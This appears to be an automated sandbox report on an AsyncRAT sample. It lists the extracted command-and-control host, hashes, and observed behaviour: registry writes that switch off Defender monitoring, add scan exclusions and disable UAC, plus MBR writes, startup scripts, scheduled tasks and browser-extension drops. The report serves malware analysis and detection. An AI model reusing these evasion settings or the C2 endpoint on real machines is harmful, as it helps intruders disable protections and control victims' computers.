asyncrat | 2b158df3b782217e02b5c436f0e00a2fc7561e95da7f2369f4fa2920cf1a20b0

Analysis

max time kernel
148s
max time network
147s
platform
windows7_x64
resource
win7-20240221-en
resource tags

arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
submitted
03-06-2024 11:40

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

2024-06-03_9782adba2f6e0b9610833aa931234140_megazord.exe
Size

2.9MB
MD5

9782adba2f6e0b9610833aa931234140
SHA1

1c8e34d2ae389af9c123929dd45318d5e9cfdbef
SHA256

2b158df3b782217e02b5c436f0e00a2fc7561e95da7f2369f4fa2920cf1a20b0
SHA512

d1490181735485657af19fbfcd02c6106d96be46963d69c72aaf2331efd91f38e2bbd2886aea1e17453d5ccd08a28214fa668f046f642119ceafdd1db07c3548
SSDEEP

49152:I8yJAk206NICMq5pzKRgqVzK/NgFALjKm:PBsV

Score

10^/10

asyncrat fresh bootkit discovery evasion execution persistence rat spyware stealer trojan

Malware Config

Extracted

Family

asyncrat

Version

AsyncRAT

Botnet

Fresh

pepecasas123.net:4608

Mutex

AsyncMutex_5952

Attributes

delay
3
install
false
install_folder
%AppData%

aes.plain

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat

Modifies Windows Defender Real-time Protection settings 3 TTPs 4 IoCs

evasion trojan

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection\DisableRealtimeMonitoring = "1"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection\DisableRealtimeMonitoring = "1"	reg.exe

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	pfCuKx1ecdIfKnUPveAqX44x.exe

Windows security bypass 2 TTPs 40 IoCs

evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\dlfHiRefefjU2 = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\hsUwQAlMU = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData\nivjmgppGaMJQQVB = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\Temp\QqEAMUespgTHJnVz = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\NuNDxVhSfKiQUmJwJAR = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\Temp\QqEAMUespgTHJnVz = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\QtKEgKYoTGTqC = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\ZEkGlaTFWGUn = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\DQsmlqqwNqJuTewVy = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\hsUwQAlMU = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData\nivjmgppGaMJQQVB = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\Temp\QqEAMUespgTHJnVz = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\ZEkGlaTFWGUn = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\dlfHiRefefjU2 = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\DQsmlqqwNqJuTewVy = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\Temp\QqEAMUespgTHJnVz = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\QtKEgKYoTGTqC = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\NuNDxVhSfKiQUmJwJAR = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe

Detects executables (downlaoders) containing URLs to raw contents of a paste 3 IoCs

resource	yara_rule
behavioral1/memory/2868-0-0x0000000000400000-0x0000000000408000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_RawPaste_URL
behavioral1/memory/2868-2-0x0000000000400000-0x0000000000408000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_RawPaste_URL
behavioral1/memory/2868-4-0x0000000000400000-0x0000000000408000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_RawPaste_URL

Detects executables packed with or use KoiVM 1 IoCs

resource	yara_rule
behavioral1/memory/2528-98-0x00000000005D0000-0x0000000000638000-memory.dmp	INDICATOR_EXE_Packed_KoiVM

Detects file containing reversed ASEP Autorun registry keys 5 IoCs

resource	yara_rule
behavioral1/memory/3040-103-0x0000000000400000-0x0000000000416000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse
behavioral1/memory/3040-109-0x0000000000400000-0x0000000000416000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse
behavioral1/memory/3040-108-0x0000000000400000-0x0000000000416000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse
behavioral1/memory/3040-111-0x0000000000400000-0x0000000000416000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse
behavioral1/memory/3040-105-0x0000000000400000-0x0000000000416000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse

Blocklisted process makes network request 1 IoCs

flow	pid	Process
78	1536	rundll32.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 11 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1848	powershell.exe
860	powershell.exe
1840	powershell.EXE
1988	powershell.EXE
2604	powershell.exe
572	powershell.EXE
2468	powershell.exe
1872	powershell.exe
2140	powershell.exe
1332	powershell.exe
672	powershell.exe

Downloads MZ/PE file

Drops file in Drivers directory 3 IoCs

description	ioc	Process
File created	C:\Windows\system32\drivers\360Camera64.sys	360TS_Setup.exe
File created	C:\Windows\system32\drivers\360AntiHacker64.sys	360TS_Setup.exe
File created	C:\Windows\system32\drivers\360AvFlt.sys	360TS_Setup.exe

Sets service image path in registry 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\360AntiHacker\ImagePath = "System32\\Drivers\\360AntiHacker64.sys"	360TS_Setup.exe
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\360AvFlt\ImagePath = "system32\\DRIVERS\\360AvFlt.sys"	360TS_Setup.exe

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Install.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	rundll32.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3452737119-3959686427-228443150-1000\Control Panel\International\Geo\Nation	OWUeySP.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3452737119-3959686427-228443150-1000\Control Panel\International\Geo\Nation	360TS_Setup.exe

Drops startup file 4 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\qKWyHBMo1GjTFCMCxsPe1hPb.bat	AddInProcess32.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ocJtzoKSbr8iSuFbTz46JmX9.bat	AddInProcess32.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\eoLolqmvkPTEqnAOvHZAjAoV.bat	AddInProcess32.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\qBdRQRQTZob6CqqiTP0MwLix.bat	AddInProcess32.exe

Executes dropped EXE 9 IoCs

pid	Process
2528	pfCuKx1ecdIfKnUPveAqX44x.exe
2964	WW13yFL0yat0CDaYgStWFD7M.exe
2572	UOSmxrTRpVyIwzOrj8zKSAcX.exe
1696	Install.exe
1780	Install.exe
2364	zhzjvaQ.exe
1072	OWUeySP.exe
2604	360TS_Setup.exe
2680	360TS_Setup.exe

Loads dropped DLL 58 IoCs

pid	Process
2868	AddInProcess32.exe
2868	AddInProcess32.exe
2964	WW13yFL0yat0CDaYgStWFD7M.exe
1668	WerFault.exe
1668	WerFault.exe
1668	WerFault.exe
1668	WerFault.exe
1668	WerFault.exe
2868	AddInProcess32.exe
2572	UOSmxrTRpVyIwzOrj8zKSAcX.exe
2572	UOSmxrTRpVyIwzOrj8zKSAcX.exe
2572	UOSmxrTRpVyIwzOrj8zKSAcX.exe
2572	UOSmxrTRpVyIwzOrj8zKSAcX.exe
1696	Install.exe
1696	Install.exe
1696	Install.exe
1696	Install.exe
1780	Install.exe
1780	Install.exe
1780	Install.exe
2552	WerFault.exe
2552	WerFault.exe
2552	WerFault.exe
1536	rundll32.exe
1536	rundll32.exe
1536	rundll32.exe
1536	rundll32.exe
1808	WerFault.exe
1808	WerFault.exe
1808	WerFault.exe
1808	WerFault.exe
3012	WerFault.exe
3012	WerFault.exe
3012	WerFault.exe
1808	WerFault.exe
2964	WW13yFL0yat0CDaYgStWFD7M.exe
2964	WW13yFL0yat0CDaYgStWFD7M.exe
2964	WW13yFL0yat0CDaYgStWFD7M.exe
2964	WW13yFL0yat0CDaYgStWFD7M.exe
2604	360TS_Setup.exe
2604	360TS_Setup.exe
2680	360TS_Setup.exe
2680	360TS_Setup.exe
2680	360TS_Setup.exe
2680	360TS_Setup.exe
2680	360TS_Setup.exe
2680	360TS_Setup.exe
2680	360TS_Setup.exe
2680	360TS_Setup.exe
2680	360TS_Setup.exe
2680	360TS_Setup.exe
2680	360TS_Setup.exe
2680	360TS_Setup.exe
2680	360TS_Setup.exe
2680	360TS_Setup.exe
2680	360TS_Setup.exe
2680	360TS_Setup.exe
2680	360TS_Setup.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\QHSafeTray = "\"C:\\Program Files (x86)\\360\\Total Security\\safemon\\QHSafeTray.exe\" /start"	360TS_Setup.exe

Checks for any installed AV software in registry 1 TTPs 8 IoCs

Security Software Discovery

T1518.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Doctor Web\InstalledComponents	360TS_Setup.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Eset\NOD\CurrentVersion\Info	360TS_Setup.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Avira	360TS_Setup.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\AVAST Software\Avast	360TS_Setup.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\AVAST Software\Avast	360TS_Setup.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Doctor Web\InstalledComponents	360TS_Setup.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Eset\NOD\CurrentVersion\Info	360TS_Setup.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Avira	360TS_Setup.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Checks whether UAC is enabled 1 TTPs 2 IoCs

evasion trojan

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	pfCuKx1ecdIfKnUPveAqX44x.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	pfCuKx1ecdIfKnUPveAqX44x.exe

Drops Chrome extension 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\oikgcnjambfooaigmdljblbaeelmekem\1.0.0.0\manifest.json	OWUeySP.exe
File created	C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\agcghmjnenlfcjmnldooeaadankclolo\1.4_0\manifest.json	OWUeySP.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
5	pastebin.com
7	pastebin.com

Writes to the Master Boot Record (MBR) 1 TTPs 2 IoCs

Bootkits write to the MBR to gain persistence at a level below the operating system.

bootkit persistence

Bootkit

T1542.003

description	ioc	Process
File opened for modification	\??\PhysicalDrive0	WW13yFL0yat0CDaYgStWFD7M.exe
File opened for modification	\??\PhysicalDrive0	360TS_Setup.exe

Drops file in System32 directory 27 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\E87CE99F124623F95572A696C80EFCAF_6B69C29B30EAF4FCF9E240B3D6A77FC9	OWUeySP.exe
File opened for modification	\??\c:\windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File created	C:\Windows\system32\GroupPolicy\gpt.ini	zhzjvaQ.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA	OWUeySP.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\265C0DEB29181DD1891051371C5F863A_798B036C05F381321FD6C3F00885C62F	OWUeySP.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E87CE99F124623F95572A696C80EFCAF_6B69C29B30EAF4FCF9E240B3D6A77FC9	OWUeySP.exe
File opened for modification	C:\Windows\system32\GroupPolicy\gpt.ini	zhzjvaQ.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.EXE
File opened for modification	C:\Windows\system32\GroupPolicy\Machine\Registry.pol	OWUeySP.exe
File opened for modification	\??\c:\windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\Temporary Internet Files\counters.dat	OWUeySP.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.EXE
File opened for modification	\??\c:\windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\265C0DEB29181DD1891051371C5F863A_798B036C05F381321FD6C3F00885C62F	OWUeySP.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E87CE99F124623F95572A696C80EFCAF_DBD1FAADD656881B5EBDBC1DB3D60301	OWUeySP.exe
File opened for modification	\??\c:\windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.EXE
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\E87CE99F124623F95572A696C80EFCAF_DBD1FAADD656881B5EBDBC1DB3D60301	OWUeySP.exe
File opened for modification	\??\c:\windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	\??\c:\windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	\??\c:\windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA	OWUeySP.exe
File created	C:\Windows\system32\GroupPolicy\Machine\Registry.pol	zhzjvaQ.exe
File opened for modification	C:\Windows\system32\GroupPolicy\Machine\Registry.pol	zhzjvaQ.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\Temporary Internet Files\counters.dat	rundll32.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\CAF4703619713E3F18D8A9D5D88D6288_A7725538C46DE2D0088EE44974E2CEBA	OWUeySP.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\CAF4703619713E3F18D8A9D5D88D6288_A7725538C46DE2D0088EE44974E2CEBA	OWUeySP.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 2320 set thread context of 2868	2320	2024-06-03_9782adba2f6e0b9610833aa931234140_megazord.exe	29
PID 2528 set thread context of 3040	2528	pfCuKx1ecdIfKnUPveAqX44x.exe	35

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File created	C:\Program Files (x86)\360\Total Security\safemon\chromesafe64.dll	360TS_Setup.exe
File created	C:\Program Files\Mozilla Firefox\browser\features\{85FD6ACE-3736-491B-8514-6C8C9556E131}.xpi	OWUeySP.exe
File created	C:\Program Files (x86)\360\Total Security\i18n\vi\safemon\drvmon.dat	360TS_Setup.exe
File created	C:\Program Files (x86)\360\Total Security\i18n\en\safemon\safemon.dll.locale	360TS_Setup.exe
File created	C:\Program Files (x86)\360\Total Security\i18n\zh-TW\safemon\Safemon.dll.locale	360TS_Setup.exe
File created	C:\Program Files (x86)\360\Total Security\deepscan\dsmain.exe	360TS_Setup.exe
File created	C:\Program Files (x86)\360\Total Security\360NetUL.dll	360TS_Setup.exe
File created	C:\Program Files (x86)\360\Total Security\i18n\vi\safemon\CameraProtect\CameraGuard\bkg\pic_01.jpg	360TS_Setup.exe
File created	C:\Program Files (x86)\360\Total Security\i18n\ru\ipc\360ipc.dat	360TS_Setup.exe
File created	C:\Program Files (x86)\360\Total Security\i18n\pl\AntiAdwa.dll.locale	360TS_Setup.exe
File created	C:\Program Files (x86)\360\Total Security\i18n\tr\AntiAdwa.dll.locale	360TS_Setup.exe
File created	C:\Program Files (x86)\360\Total Security\i18n\pl\ipc\filemgr.dll.locale	360TS_Setup.exe
File created	C:\Program Files (x86)\360\Total Security\i18n\ru\safemon\Safemon.dll.locale	360TS_Setup.exe
File created	C:\Program Files (x86)\360\Total Security\deepscan\sbx.dll	360TS_Setup.exe
File created	C:\Program Files (x86)\360\Total Security\ipc\360Box64_old.sys	360TS_Setup.exe
File created	C:\Program Files (x86)\360\Total Security\config\tools\nodes\SuperKiller.xml	360TS_Setup.exe
File created	C:\Program Files (x86)\360\Total Security\ipc\clsid.dat	360TS_Setup.exe
File created	C:\Program Files (x86)\360\Total Security\i18n\ru\safemon\drvmon.dat	360TS_Setup.exe
File created	C:\Program Files (x86)\360\Total Security\filemon\fr6.dat	360TS_Setup.exe
File created	C:\Program Files (x86)\360\Total Security\i18n\zh-TW\safemon\360SPTool.exe.locale	360TS_Setup.exe
File created	C:\Program Files (x86)\360\Total Security\360Central.exe	360TS_Setup.exe
File created	C:\Program Files (x86)\360\Total Security\Utils\cef\2623\cef_200_percent.pak	360TS_Setup.exe
File created	C:\Program Files (x86)\360\Total Security\360net.dll	360TS_Setup.exe
File created	C:\Program Files (x86)\360\Total Security\360NetBase.dll	360TS_Setup.exe
File created	C:\Program Files (x86)\360\Total Security\config\tools\nodes\360Zip.xml	360TS_Setup.exe
File created	C:\Program Files (x86)\360\Total Security\deepscan\dsark64_win10.cat	360TS_Setup.exe
File created	C:\Program Files (x86)\360\Total Security\ipc\360ipc.dat	360TS_Setup.exe
File created	C:\Program Files (x86)\360\Total Security\i18n\fr\deepscan\DsRes.dll	360TS_Setup.exe
File created	C:\Program Files (x86)\360\Total Security\i18n\fr\deepscan\DsRes64.dll	360TS_Setup.exe
File created	C:\Program Files (x86)\360\Total Security\i18n\pt\deepscan\dsconz.dat	360TS_Setup.exe
File created	C:\Program Files (x86)\360\Total Security\deepscan\qex\patt.enc	360TS_Setup.exe
File created	C:\Program Files (x86)\360\Total Security\Utils\AntiTrack.dll	360TS_Setup.exe
File created	C:\Program Files (x86)\360\Total Security\deepscan\AVE\360KP.dll	360TS_Setup.exe
File created	C:\Program Files (x86)\360\Total Security\i18n\hi\ipc\360netd.dat	360TS_Setup.exe
File created	C:\Program Files (x86)\360\Total Security\i18n\en\deepscan\art.dat	360TS_Setup.exe
File created	C:\Program Files (x86)\360\Total Security\i18n\vi\deepscan\dsconz.dat	360TS_Setup.exe
File created	C:\Program Files (x86)\360\Total Security\i18n\vi\safemon\360SPTool.exe.locale	360TS_Setup.exe
File created	C:\Program Files (x86)\360\Total Security\i18n\it\safemon\spsafe.dll.locale	360TS_Setup.exe
File created	C:\Program Files (x86)\360\Total Security\cacert.pem	360TS_Setup.exe
File created	C:\Program Files (x86)\360\Total Security\i18n\zh-TW\deepscan\cloudsec3.dll.locale	360TS_Setup.exe
File created	C:\Program Files (x86)\360\Total Security\i18n\ru\Dumpuper.exe.locale	360TS_Setup.exe
File created	C:\Program Files (x86)\360\Total Security\i18n\it\safemon\spsafe64.dll.locale	360TS_Setup.exe
File created	C:\Program Files (x86)\360\Total Security\Utils\cef\2623\natives_blob.bin	360TS_Setup.exe
File created	C:\Program Files (x86)\360\Total Security\i18n\hi\deepscan\dsurls.dat	360TS_Setup.exe
File created	C:\Program Files (x86)\360\Total Security\i18n\hi\ipc\NetDefender.dll.locale	360TS_Setup.exe
File created	C:\Program Files (x86)\360\Total Security\i18n\tr\safemon\spsafe64.dll.locale	360TS_Setup.exe
File created	C:\Program Files (x86)\360\Total Security\config\tools\nodes\TraceClean.xml	360TS_Setup.exe
File created	C:\Program Files (x86)\360\Total Security\i18n\pl\safemon\wd.ini	360TS_Setup.exe
File created	C:\Program Files (x86)\360\Total Security\i18n\de\ipc\appmon.dat	360TS_Setup.exe
File created	C:\Program Files (x86)\360\Total Security\i18n\zh-CN\deepscan\dsconz.dat	360TS_Setup.exe
File created	C:\Program Files (x86)\360\Total Security\i18n\zh-TW\safemon\CameraProtect\CameraGuard\bkg\pic_01.jpg	360TS_Setup.exe
File created	C:\Program Files (x86)\360\Total Security\i18n\de\ipc\NetDefender.dll.locale	360TS_Setup.exe
File created	C:\Program Files (x86)\360\Total Security\i18n\it\ipc\Sxin64.dll.locale	360TS_Setup.exe
File created	C:\Program Files (x86)\dlfHiRefefjU2\oNwMIaj.xml	OWUeySP.exe
File created	C:\Program Files (x86)\360\Total Security\ipc\TS.dat	360TS_Setup.exe
File created	C:\Program Files (x86)\360\Total Security\i18n\it\deepscan\cloudsec3.dll.locale	360TS_Setup.exe
File created	C:\Program Files (x86)\360\Total Security\safemon\QHSafeTray.exe	360TS_Setup.exe
File created	C:\Program Files (x86)\360\Total Security\ipc\360Box64_win10.sys	360TS_Setup.exe
File created	C:\Program Files (x86)\360\Total Security\i18n\en\ipc\360ipc.dat	360TS_Setup.exe
File created	C:\Program Files (x86)\360\Total Security\i18n\fr\deepscan\dsr.dat	360TS_Setup.exe
File created	C:\Program Files (x86)\360\Total Security\i18n\vi\deepscan\dsr.dat	360TS_Setup.exe
File created	C:\Program Files (x86)\360\Total Security\i18n\hi\deepscan\DsRes.dll	360TS_Setup.exe
File created	C:\Program Files (x86)\360\Total Security\sweeper\TrashClean.dll	360TS_Setup.exe
File created	C:\Program Files (x86)\360\Total Security\i18n\zh-TW\ipc\360ipc.dat	360TS_Setup.exe

Drops file in Windows directory 4 IoCs

description	ioc	Process
File created	C:\Windows\Tasks\ucrVpivlTlXwlAC.job	schtasks.exe
File created	C:\Windows\Tasks\BjyVbWVaXyfCTlHuI.job	schtasks.exe
File created	C:\Windows\Tasks\btZaCbGShXZoJDfvCg.job	schtasks.exe
